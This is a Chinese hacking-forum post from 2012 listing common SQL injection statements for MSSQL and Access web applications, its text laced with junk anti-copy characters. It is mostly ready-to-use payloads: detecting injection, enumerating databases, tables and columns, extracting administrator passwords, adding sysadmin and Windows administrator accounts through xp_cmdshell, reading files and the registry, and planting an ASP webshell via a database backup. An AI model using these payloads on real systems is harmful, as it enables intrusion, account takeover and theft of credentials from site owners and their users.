找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1977|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 " x" l6 O: L! o3 }& W4 J8 o! Y
;and 1=1
, l6 E; m# Z, W$ {3 m6 V/ H9 [$ ^) J;and 1=2
6 z+ E9 W' ~9 Y& c  x# ]. Z% U& Z  z* G& f
2.初步判断是否是mssql
' Y) W: u/ J. s1 _) Z* o# ?;and user>0 2 r" p" O% `% G- h& L- p
6 G/ |% j8 e" Z) P  }1 \7 T
3.判断数据库系统
/ O( @9 s: f) }; Q. A& [;and (select count(*) from sysobjects)>0 mssql
7 L* T6 K( P$ {2 J;and (select count(*) from msysobjects)>0 access
6 j% W& `; R8 Z$ V, }- M, X5 p- D6 y4 U3 U4 Y
4.注入参数是字符 8 s3 n: P, x3 a9 l! x8 K8 _; r# U
'and [查询条件] and ''='
5 w5 j/ C3 E! z
2 y5 r4 I$ I3 ?/ Z" @. k5.搜索时没过滤参数的
' j# B2 _: ?. v/ I$ {* N/ F'and [查询条件] and '%25'='
! u5 Y' r9 R. x* Q6 ^0 b; d
+ k$ {3 U3 `4 e$ ]4 M6.猜数表名
# E" {( ]5 f1 {, l4 o;and (select Count(*) from [表名])>0 $ {# B+ u+ C9 U1 m  R8 \1 y4 k
/ S- F) K  S( R  B+ u" D
7.猜字段
  Z- f' s3 V6 t;and (select Count(字段名) from 表名)>0 " S% z5 \, o; I* g

6 N* A$ ~5 v1 y3 b1 n2 ]8.猜字段中记录长度 / Z# M9 Q2 u2 O2 k1 Z* q
;and (select top 1 len(字段名) from 表名)>0 # w: u: ?2 N2 b+ f& B& Q6 |3 M

- `) B/ Z% q" H/ L( C) @% \9.(1)猜字段的ascii值(access)
  E2 e" v  Z9 w;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 5 l* g, ?# X, L! R( ~7 j$ l
. S- i0 z8 C/ C0 c9 u
(2)猜字段的ascii值(mssql)
" n2 k+ H/ ~, Z8 X$ D' p& H. ~;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
( k' d: `: v! {, o5 B9 u( W
2 c. q- p* Y6 i8 m2 |0 ^- B: N$ t10.测试权限结构(mssql)
1 Q0 ^% V9 H7 x( [6 u' W. C9 n;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2 f& A; X9 H( z" T7 U9 d
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- - D5 e2 g- l# s. _: p0 K
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
1 y1 m- M2 e" ^# a- \9 a;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 z6 N2 N3 ~& a* R  L
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8 B7 u1 V( i6 S; A  U
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) v* G$ I& s; M! S4 h% e, h;and 1=(select IS_MEMBER('db_owner'));-- 7 g9 K4 b; _4 T: W8 c6 z/ W

5 F! }  _; ~) k+ s$ p  Z* p) ~11.添加mssql和系统的帐户 1 i! |# u( y4 Y
;exec master.dbo.sp_addlogin username;-- , [3 a& a5 @9 B' C1 [+ W
;exec master.dbo.sp_password null,username,password;-- " Q/ Z! H- |( X( v' l# X
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2 I! W4 v9 l5 ], ?
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
- r+ e4 g" ^5 o& I3 l- W;exec master.dbo.xp_cmdshell 'net user username password /add';-- ' }7 M- F( h' ]2 D/ y3 K& K# E
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $ t$ Q& s: U) B' ]( A  X+ X

! K$ D: ]- o% x% s" n  B0 i12.(1)遍历目录
9 O& f0 T! G# f7 s8 }" G8 h;create table dirs(paths varchar(100), id int) " G" r: n3 _6 R1 _  G  U& k
;insert dirs exec master.dbo.xp_dirtree 'c:\' . k, l% V& e" k3 H7 ~4 E" O% K6 P
;and (select top 1 paths from dirs)>0 6 D! r# w; `5 ?- H
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) & }. h4 Q; O1 B) P; F) C# p
4 {' R1 f" T$ Q% ^/ M" b
(2)遍历目录
7 I) B; H& n4 ^. C, l0 t;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
: I! L2 u- I! z  T; b' _# Y) L! r  @;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
1 \# d. r. s0 q# J9 R; v, e;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 # Z- o8 W; Q# E5 G$ ?2 r% z
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 5 M5 \0 c4 l, b+ {5 c; p
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
; O4 X7 B& i0 B, T; b5 Y+ q" \! C" M, H" j  J
13.mssql中的存储过程
8 M' s+ Y0 F1 x1 Y8 K2 ?xp_regenumvalues 注册表根键, 子键
. j; V, v1 O+ F- ^;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
6 z- D- `2 z+ n* y, axp_regread 根键,子键,键值名 ! v% V" r$ S$ r" h: a
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1 I2 }5 c/ B. N' R1 F0 o9 b
xp_regwrite 根键,子键, 值名, 值类型, 值 % D# |, q$ {  M' o# K
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
/ V2 S% _2 P4 Z1 r$ M3 };exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 & L! c% X& K+ [7 h. V& q$ Z
xp_regdeletevalue 根键,子键,值名 " }" M2 `9 y6 L2 C. l" X
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
0 X0 i/ i$ `% v. a3 U6 n- ~5 N) |/ cxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $ Y0 O5 s' C/ R' Q& U2 s/ q
9 a$ h+ f/ z" L2 j( I
14.mssql的backup创建webshell
( q% @3 j( e. C- ]  h- _use model
! A7 a) D( n' v! c: X7 K. acreate table cmd(str image); : D9 O7 ?, G# A) l5 k4 v% S" p+ B
insert into cmd(str) values ('<% Dim oScript %>');
/ H% R! u/ M$ {0 l' |; |7 kbackup database model to disk='c:\l.asp'; ' x  `$ ]3 h2 p" G! N3 X  T
  u# P+ m: S$ i: g/ d/ i3 ^
15.mssql内置函数 " ?/ l3 k. o2 |
;and (select @@version)>0 获得Windows的版本号
  D% ^: S1 S8 w& j0 U4 R;and user_name()='dbo' 判断当前系统的连接用户是不是sa . A  d5 m) m7 ?: p
;and (select user_name())>0 爆当前系统的连接用户
, f+ J2 _2 `5 e4 z;and (select db_name())>0 得到当前连接的数据库 ; }3 p& I1 I, n! u7 Z
3 Y* c+ l& `: l, h9 b' e
& m) X. Q: S: D" U

! s; {% W$ D( o! a6 a% o! |  YMSSQL手注暴库
  C, j# p. N0 V# i( q0 y/ g6 H9 A" t8 B- @$ \
1.暴出当前表名和列名7 ~7 N6 @9 \3 K; n% c6 Q
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
+ e% F& C  E1 }6 I  x5 e6 ?/ Q8 I& h! Q6 E
第一.爆出所有数据库名
6 @3 T9 l% k/ ]3 a- k利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。" k2 z( Z7 z$ S6 ?$ I1 J! v
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
1 l# l4 v$ ]2 s7 U* l6 T
$ ^! R. F! M$ c/ l4 t/ aand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
. M& g8 @" L; P- L1 r
2 g( @, }5 C# O2 j. R' L0 \* o: b4 b) h% J* T5 I
第二.爆出指定库中的所有表名
( W5 j- z5 y9 ?4 E5 g- y9 k& i5 R: ^得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
& e6 ^  a* J5 S8 D, r5 d+ O再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。/ O  I3 l6 R# G. h9 V
6 Y# T' J+ x( e* X1 h
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--' C# |. C9 v+ w  \+ |- _! ~' d
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
# H7 L# K: h% fand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
) k8 y$ I4 q  t. E; R" E
; r, S. x4 R" \5 q7 G7 U7 d4.爆出指定表中的所有列名
4 E3 D8 |' l8 U! Tand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
: W/ E0 i! i+ X; n; i3 k//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'- O! t! j* R  U+ F% T9 d
8 p" g7 h, E7 P# F: G, T
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名# b: e/ ~5 D, J: T! h$ c% v

1 j6 r- _* w& ?: K再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 8 [( C0 |/ o! @: j
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
* [! M% S; B" D5 g. m/ y! h3 f) F- P3 _  I2 \, U9 }* p* B

8 O/ @7 M7 {( l' w/ T( Cand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
  Y* `6 H6 E  A6 ^) t8 M% U$ T
2 r4 m3 N& F# Xand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
' c) A; M* a8 N4 y4 r9 p. u- R  U. o# e/ b' U/ E7 }
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- / _% R# s7 n; b* j# l/ S2 ~( G
% s- g" x% b( Y: a3 ]
! y" U6 b* n: V0 d7 s" Y
7 c( }9 D& N$ {% c' s
5.读取指定表中的数据5 E0 F3 D. w- e9 j

8 Z9 I, C. v5 J2 N. `3 R: Pand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
7 a3 A6 F: D  _8 B* V1 Q) |( F
$ X* ^6 ?' W2 ~and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--  E# V- ]3 [& u4 e! G" h

1 `. j3 Z4 ^: z5 x% w+ m, j7 zand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
2 d: A# p, S3 z
) Y0 a4 V4 c/ T) N' |; Q6 M6 T' C0 O3 k1 m; @# X
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)/ Z& Q9 I( Z1 ?3 _" q

# G6 g* B1 f$ ?! W& W5 E4 pand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)2 S, F  L7 c2 [4 r; p

. u( {+ Q; C! Cand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
/ O2 J8 K2 L# H" O# s. g9 K/ L4 c4 i
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
/ ]! h+ I  I8 V1 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表